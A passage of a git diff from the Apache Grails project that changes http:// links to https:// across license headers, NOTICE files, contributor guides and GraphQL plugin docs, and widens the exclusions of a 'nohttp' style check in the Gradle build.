 .../grails-app/i18n/messages_cs_CZ.properties      |  2 +-
 .../grails-app/i18n/messages_da.properties         |  2 +-
 .../grails-app/i18n/messages_de.properties         |  2 +-
 .../grails-app/i18n/messages_es.properties         |  2 +-
 .../grails-app/i18n/messages_fr.properties         |  2 +-
 .../grails-app/i18n/messages_it.properties         |  2 +-
 .../grails-app/i18n/messages_ja.properties         |  2 +-
 .../grails-app/i18n/messages_nb.properties         |  2 +-
 .../grails-app/i18n/messages_nl.properties         |  2 +-
 .../grails-app/i18n/messages_pl.properties         |  2 +-
 .../grails-app/i18n/messages_pt_BR.properties      |  2 +-
 .../grails-app/i18n/messages_pt_PT.properties      |  2 +-
 .../grails-app/i18n/messages_ru.properties         |  2 +-
 .../grails-app/i18n/messages_sv.properties         |  2 +-
 .../grails-app/i18n/messages_th.properties         |  2 +-
 .../grails-app/i18n/messages_zh_CN.properties      |  2 +-
 .../hibernate5/grails-app/i18n/messages.properties |  2 +-
 .../grails-app/i18n/messages_cs_CZ.properties      |  2 +-
 .../grails-app/i18n/messages_da.properties         |  2 +-
 .../grails-app/i18n/messages_de.properties         |  2 +-
 .../grails-app/i18n/messages_es.properties         |  2 +-
 .../grails-app/i18n/messages_fr.properties         |  2 +-
 .../grails-app/i18n/messages_it.properties         |  2 +-
 .../grails-app/i18n/messages_ja.properties         |  2 +-
 .../grails-app/i18n/messages_nb.properties         |  2 +-
 .../grails-app/i18n/messages_nl.properties         |  2 +-
 .../grails-app/i18n/messages_pl.properties         |  2 +-
 .../grails-app/i18n/messages_pt_BR.properties      |  2 +-
 .../grails-app/i18n/messages_pt_PT.properties      |  2 +-
 .../grails-app/i18n/messages_ru.properties         |  2 +-
 .../grails-app/i18n/messages_sv.properties         |  2 +-
 .../grails-app/i18n/messages_th.properties         |  2 +-
 .../grails-app/i18n/messages_zh_CN.properties      |  2 +-
 .../grails-app/i18n/messages.properties            |  2 +-
 .../loadfirst/grails-app/i18n/messages.properties  |  2 +-
 .../grails-app/i18n/messages_en_US.properties      |  2 +-
 .../grails/web/json/parser/StringUnmarshaller.java |  2 +-
 .../resources/org/grails/web/json/jsonparser.jj    |  2 +-
 .../web/servlet/mvc/GrailsParameterMapTests.groovy |  2 +-
 media/logos/grails-logo.eps                        |  2 +-
 media/logos/grails-logo.svg                        |  2 +-
 549 files changed, 642 insertions(+), 634 deletions(-)

diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index d148220531..25698ca610 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -136,7 +136,7 @@ Enhancement suggestions are tracked as [GitHub issues](https://github.com/apache
 #### Environment Setup
 
 ##### 1. Forking the Code
-One of the benefits of [GitHub](http://github.com) is the way that you can easily contribute to a project by [forking the repository](https://help.github.com/articles/fork-a-repo/) and [sending pull requests](https://help.github.com/articles/creating-a-pull-request/) with your changes.  Please see GitHub's guides on how to create a fork and submit that fork.  For easier illustration, the remainder of this document will use the `grails` repositories, but when working locally you should us [...]
+One of the benefits of [GitHub](https://github.com) is the way that you can easily contribute to a project by [forking the repository](https://help.github.com/articles/fork-a-repo/) and [sending pull requests](https://help.github.com/articles/creating-a-pull-request/) with your changes.  Please see GitHub's guides on how to create a fork and submit that fork.  For easier illustration, the remainder of this document will use the `grails` repositories, but when working locally you should u [...]
 
 ##### 2. Tool Setup
 
@@ -148,7 +148,7 @@ If you're interested in contributing fixes and features to any part of grails, y
 * A container runtime
 
 Once you have the pre-requisite packages installed, the next step is to download the Apache Grails source code, which is
-hosted at [GitHub](http://github.com/apache/grails-core). This is a simple case of cloning the repository you're
+hosted at [GitHub](https://github.com/apache/grails-core). This is a simple case of cloning the repository you're
 interested in. For example, to get the core framework run:
 
     git clone http://github.com/apache/grails-core.git
@@ -202,7 +202,7 @@ There are many aspects to [Grail's documentation](https://docs.grails.org/)
 
 <!-- omit in toc -->
 #### <u>Improving the User Guide</u>
-The user guide is written using [Asciidoctor](http://asciidoctor.org/docs/user-manual/). The simplest way to contribute fixes is to simply click on the "Improve this doc" link that is to the right of each section of the documentation.
+The user guide is written using [Asciidoctor](https://asciidoctor.org/docs/user-manual/). The simplest way to contribute fixes is to simply click on the "Improve this doc" link that is to the right of each section of the documentation.
 
 This will link to the GitHub edit screen where you can make changes, preview them and create a pull request.
 
diff --git a/etc/bin/Dockerfile b/etc/bin/Dockerfile
index cd3e9696cd..7ac7be67ec 100644
--- a/etc/bin/Dockerfile
+++ b/etc/bin/Dockerfile
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/gradle.properties b/gradle.properties
index f5e33cd3d1..504142de85 100644
--- a/gradle.properties
+++ b/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/gradle/style-enforcement-config.gradle b/gradle/style-enforcement-config.gradle
index 2010e2e726..6bfc31b263 100644
--- a/gradle/style-enforcement-config.gradle
+++ b/gradle/style-enforcement-config.gradle
@@ -48,7 +48,14 @@ checkstyle {
 }
 
 nohttp {
-    source.exclude('src/test/**', 'build/**')
+    // TODO: xsd, xml, & doc files need looked at; this will at least make sure our POMs are correct
+    source.exclude('src/test/**', 'build/**',
+            'LICENSE', '**/LICENSE', 'NOTICE', '**/NOTICE', 'licenses/**', 'INSTALL',
+            '**/*.xsd', '**/*.xml', '**/*.dtd',
+            '**/test/**',
+            '**/@grails.codegen.projectClassName@GrailsPlugin.groovy',
+            '**/grails-doc/**' // TODO: the grails doc still has a lot of work to do to remove httpsm mmmmm
+    )
 }
 
 if (tasks.names.contains('checkstyleTest')) {
diff --git a/grails-bootstrap/src/main/resources/grails.build.properties b/grails-bootstrap/src/main/resources/grails.build.properties
index 26135d62d5..bc2eba68f1 100644
--- a/grails-bootstrap/src/main/resources/grails.build.properties
+++ b/grails-bootstrap/src/main/resources/grails.build.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-bootstrap/src/main/resources/springloaded.properties b/grails-bootstrap/src/main/resources/springloaded.properties
index c321a1ae12..21805ace27 100644
--- a/grails-bootstrap/src/main/resources/springloaded.properties
+++ b/grails-bootstrap/src/main/resources/springloaded.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-common/src/main/resources/META-INF/NOTICE b/grails-common/src/main/resources/META-INF/NOTICE
index d524ab7e3e..151ca98841 100644
--- a/grails-common/src/main/resources/META-INF/NOTICE
+++ b/grails-common/src/main/resources/META-INF/NOTICE
@@ -2,7 +2,7 @@ Apache Grails
 Copyright 2005-2025 The Apache Software Foundation
 
 This product includes software developed at
-The Apache Software Foundation (http://www.apache.org/).
+The Apache Software Foundation (https://www.apache.org/).
 
 
 Additional Licenses
diff --git a/grails-core/src/main/groovy/org/grails/spring/context/annotation/grails-context.xsd b/grails-core/src/main/groovy/org/grails/spring/context/annotation/grails-context.xsd
index a955e8e280..a213586f57 100644
--- a/grails-core/src/main/groovy/org/grails/spring/context/annotation/grails-context.xsd
+++ b/grails-core/src/main/groovy/org/grails/spring/context/annotation/grails-context.xsd
@@ -7,7 +7,7 @@
   ~ (the "License"); you may not use this file except in compliance with
   ~ the License.  You may obtain a copy of the License at
   ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~      https://www.apache.org/licenses/LICENSE-2.0
   ~
   ~ Unless required by applicable law or agreed to in writing, software
   ~ distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-core/src/main/resources/META-INF/NOTICE b/grails-core/src/main/resources/META-INF/NOTICE
index e2a4101a01..246cb9bf1b 100644
--- a/grails-core/src/main/resources/META-INF/NOTICE
+++ b/grails-core/src/main/resources/META-INF/NOTICE
@@ -2,4 +2,4 @@ Apache Grails
 Copyright 2005-2025 The Apache Software Foundation
 
 This product includes software developed at
-The Apache Software Foundation (http://www.apache.org/).
\ No newline at end of file
+The Apache Software Foundation (https://www.apache.org/).
\ No newline at end of file
diff --git a/grails-data-graphql/docs/src/main/docs/guide/gettingStarted.adoc b/grails-data-graphql/docs/src/main/docs/guide/gettingStarted.adoc
index 6af6a313cf..0f6fe7b7c9 100644
--- a/grails-data-graphql/docs/src/main/docs/guide/gettingStarted.adoc
+++ b/grails-data-graphql/docs/src/main/docs/guide/gettingStarted.adoc
@@ -19,7 +19,7 @@ under the License.
 
 == Standalone Projects
 
-For standalone projects, it is up to the developer how and when the schema gets created. A mapping context is required to create a schema. The mapping context is available on all link:{gormapi}/org/grails/datastore/mapping/core/Datastore.html#getMappingContext()[datastore implementations]. See the link:http://gorm.grails.org/latest/hibernate/manual/index.html#outsideGrails[GORM documentation] for information on creating a datastore.
+For standalone projects, it is up to the developer how and when the schema gets created. A mapping context is required to create a schema. The mapping context is available on all link:{gormapi}/org/grails/datastore/mapping/core/Datastore.html#getMappingContext()[datastore implementations]. See the link:https://gorm.grails.org/latest/hibernate/manual/index.html#outsideGrails[GORM documentation] for information on creating a datastore.
 
 The example below is the simplest way possible to generate a schema.
 
@@ -66,7 +66,7 @@ Just by adding the `graphql = true` property on your domain, full CRUD capabilit
 
 Imagine you are building an API for a Conference. A talk can be presented
 by a single speaker. A speaker can have many talks within the conference.
-A typical one-to-many relationship which in http://gorm.grails.org[GORM]
+A typical one-to-many relationship which in https://gorm.grails.org[GORM]
 could be expressed with:
 
 [source, groovy]
@@ -84,4 +84,4 @@ include::{sourcedir}/examples/grails-docs-app/grails-app/domain/demo/Talk.groovy
 ----
 
 
-TIP: GORM GraphQL plugin supports http://gorm.grails.org/latest/hibernate/manual/index.html#derivedProperties[Derived Properties] as illustrated in the previous example; `name` is derived property which concatenates `firstName` and `lastName`
+TIP: GORM GraphQL plugin supports https://gorm.grails.org/latest/hibernate/manual/index.html#derivedProperties[Derived Properties] as illustrated in the previous example; `name` is derived property which concatenates `firstName` and `lastName`
diff --git a/grails-data-graphql/docs/src/main/docs/guide/introduction.adoc b/grails-data-graphql/docs/src/main/docs/guide/introduction.adoc
index 727d7a8c70..8e17636fd5 100644
--- a/grails-data-graphql/docs/src/main/docs/guide/introduction.adoc
+++ b/grails-data-graphql/docs/src/main/docs/guide/introduction.adoc
@@ -19,9 +19,9 @@ under the License.
 
 image::logo.svg[GraphQL,100,100,float="left"]
 
-The GORM GraphQL library provides functionality to generate a GraphQL schema based on your GORM entities. If you aren't sure what GraphQL is, please take a look at their link:http://graphql.org/[homepage].
+The GORM GraphQL library provides functionality to generate a GraphQL schema based on your GORM entities. If you aren't sure what GraphQL is, please take a look at their link:https://graphql.org/[homepage].
 
-The underlying implementation of the GraphQL specification used by this library is link:http://graphql-java.readthedocs.io/en/stable/[graphql-java].
+The underlying implementation of the GraphQL specification used by this library is link:https://graphql-java.readthedocs.io/en/stable/[graphql-java].
 
 There are two different binaries available for use. The first is the core library which contains all of the logic for building the schema. The second is a Grails plugin which, on top of core, provides several features.
 
@@ -35,7 +35,7 @@ CAUTION: Requires Java 8. Effort has been made to support GORM 6.0.x, however th
 
 == Grails Plugin
 
-- A controller to receive and respond to GraphQL requests through HTTP, based on their link:http://graphql.org/learn/serving-over-http/[guidelines].
+- A controller to receive and respond to GraphQL requests through HTTP, based on their link:https://graphql.org/learn/serving-over-http/[guidelines].
 
 - Generates the schema at startup with spring bean configuration to make it easy to extend.
 
diff --git a/grails-data-graphql/docs/src/main/docs/guide/types.adoc b/grails-data-graphql/docs/src/main/docs/guide/types.adoc
index 588b00b60e..a3e98bbe64 100644
--- a/grails-data-graphql/docs/src/main/docs/guide/types.adoc
+++ b/grails-data-graphql/docs/src/main/docs/guide/types.adoc
@@ -70,7 +70,7 @@ TIP: If you need to customize more than 1 manager, only a single bean needs to b
 
 Once you have access to the manager, registration of your own type is easy. In this example a type is being registered to handle a Mongo `ObjectId`. The type will be used to do conversion of arguments in GraphQL.
 
-NOTE: This process only handles how an ObjectId will be created from either Java arguments, or arguments passed inline in the GraphQL query or mutation. For Grails applications, the process of rendering the ObjectID as json is handled by link:http://views.grails.org[JSON views]. To supply behavior for how an ObjectId is rendered, see the documentation for json views. For standalone projects, you are responsible for any conversions that may need to happen.
+NOTE: This process only handles how an ObjectId will be created from either Java arguments, or arguments passed inline in the GraphQL query or mutation. For Grails applications, the process of rendering the ObjectID as json is handled by link:https://views.grails.org[JSON views]. To supply behavior for how an ObjectId is rendered, see the documentation for json views. For standalone projects, you are responsible for any conversions that may need to happen.
 
 [source,groovy]
 ----
diff --git a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages.properties b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages.properties
index 6d72d209d5..a1ac5a2fd7 100644
--- a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages.properties
+++ b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_cs_CZ.properties b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_cs_CZ.properties
index dc71c205fe..24799b956a 100644
--- a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_cs_CZ.properties
+++ b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_cs_CZ.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_da.properties b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_da.properties
index c3ac9b1929..8effe79084 100644
--- a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_da.properties
+++ b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_da.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_de.properties b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_de.properties
index 18cd4a68b2..fccc6d561e 100644
--- a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_de.properties
+++ b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_de.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_es.properties b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_es.properties
index f8d257c24a..c76df87761 100644
--- a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_es.properties
+++ b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_es.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_fr.properties b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_fr.properties
index 93d4bc05f7..686f872243 100644
--- a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_fr.properties
+++ b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_fr.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_it.properties b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_it.properties
index 22353b0336..3bb0abe403 100644
--- a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_it.properties
+++ b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_it.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_ja.properties b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_ja.properties
index 10abcd3873..c23f5d014b 100644
--- a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_ja.properties
+++ b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_ja.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_nb.properties b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_nb.properties
index b2bcb4cfa5..8485b66145 100644
--- a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_nb.properties
+++ b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_nb.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_nl.properties b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_nl.properties
index eb5245ccf5..57360d5c39 100644
--- a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_nl.properties
+++ b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_nl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_pl.properties b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_pl.properties
index efb954c5ff..199f7d26e0 100644
--- a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_pl.properties
+++ b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_pl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_pt_BR.properties b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_pt_BR.properties
index 2244a40539..474cf326f9 100644
--- a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_pt_BR.properties
+++ b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_pt_BR.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_pt_PT.properties b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_pt_PT.properties
index d432eb5f6e..27aa38dd2b 100644
--- a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_pt_PT.properties
+++ b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_pt_PT.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_ru.properties b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_ru.properties
index 2c7e7cdde7..c5e1d93446 100644
--- a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_ru.properties
+++ b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_ru.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_sv.properties b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_sv.properties
index 694ac13f23..49079027e5 100644
--- a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_sv.properties
+++ b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_sv.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_th.properties b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_th.properties
index 1219a71e4b..9d2ba5ea9d 100644
--- a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_th.properties
+++ b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_th.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_zh_CN.properties b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_zh_CN.properties
index 61a0705aef..181f0a372e 100644
--- a/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_zh_CN.properties
+++ b/grails-data-graphql/examples/grails-docs-app/grails-app/i18n/messages_zh_CN.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages.properties b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages.properties
index 6d72d209d5..a1ac5a2fd7 100644
--- a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages.properties
+++ b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_cs_CZ.properties b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_cs_CZ.properties
index dc71c205fe..24799b956a 100644
--- a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_cs_CZ.properties
+++ b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_cs_CZ.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_da.properties b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_da.properties
index c3ac9b1929..8effe79084 100644
--- a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_da.properties
+++ b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_da.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_de.properties b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_de.properties
index 18cd4a68b2..fccc6d561e 100644
--- a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_de.properties
+++ b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_de.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_es.properties b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_es.properties
index f8d257c24a..c76df87761 100644
--- a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_es.properties
+++ b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_es.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_fr.properties b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_fr.properties
index 93d4bc05f7..686f872243 100644
--- a/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_fr.properties
+++ b/grails-data-graphql/examples/grails-multi-datastore-app/grails-app/i18n/messages_fr.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
